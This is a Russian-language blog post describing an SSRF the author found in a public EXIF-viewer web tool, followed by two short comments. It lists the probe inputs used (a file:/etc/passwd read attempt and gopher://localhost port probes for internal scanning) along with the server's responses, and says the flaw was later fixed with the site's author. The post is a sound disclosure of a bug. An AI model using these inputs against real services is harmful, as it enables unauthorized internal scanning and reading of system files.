Sunday, 29 November 2015

SSRF

Нашел SSRF на http://regex.info/exif.cgi, причем искал абсолютно другую уязвимость. Пытался найти XSS через EXIF ну или SSRF через EXIF, а вышло вот как =)

Существует вообщем там возможность посмотреть exif данные своей картинки. Можно загрузить, а можно дать ссылку на изображение. Картинка судя по всему тянется LWP.

Например:
> file:/etc/passwd
file:/etc/passwd doesn't seem to be an image file: Unknown file type

> file:/bin/bash
Описание EXE файла с размером, CPU  и архитектурой.

> gopher://localhost:22
gopher://localhost:22 is a web page, not an image.

> gopher://localhost:9896
couldn't fetch gopher://localhost:9896: [500 Can't connect to localhost:9896]


То есть можем допустим просканировать внутреннюю сеть на предмет открытых портов. Кстати изнутри их на 2 больше чем снаружи.
Или затестить мой проект for fun eggplant-tag, правда не совсем по назначению, но чем не способ) Вот тут можно его попробовать: http://eggplant-tag.appspot.com/

Или вот результат для вот этого тега:
2015-11-28 13:35:12.451140
Remote address: 67.221.35.252

Host: eggplant-tag.appspot.com
User-Agent: Jeffrey's Exif Viewer (http://regex.info/exif)
X-Appengine-City: san jose
X-Appengine-Citylatlong: 37.339386,-121.894955
X-Appengine-Country: US
X-Appengine-Region: ca


Говорят, что gopher-ом можно формировать любые TCP пакеты, но я так не умею. И что то пока не до этого =). 

Ну а вообще можно использовать все протоколы, которые поддерживает LWP через GET.

Если кто умеет такое использовать -- расскажите. Уязвимость мы с автором вроде пофиксили, в два этапа...но может, что  еще открытым осталось.

2 comments:

  1. см. https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit

    ReplyDelete
    Replies
    1. Я смотрел в свое время, но вот сконструировать gopher-ом нужный мне пакет что-то не вышло =)

      Delete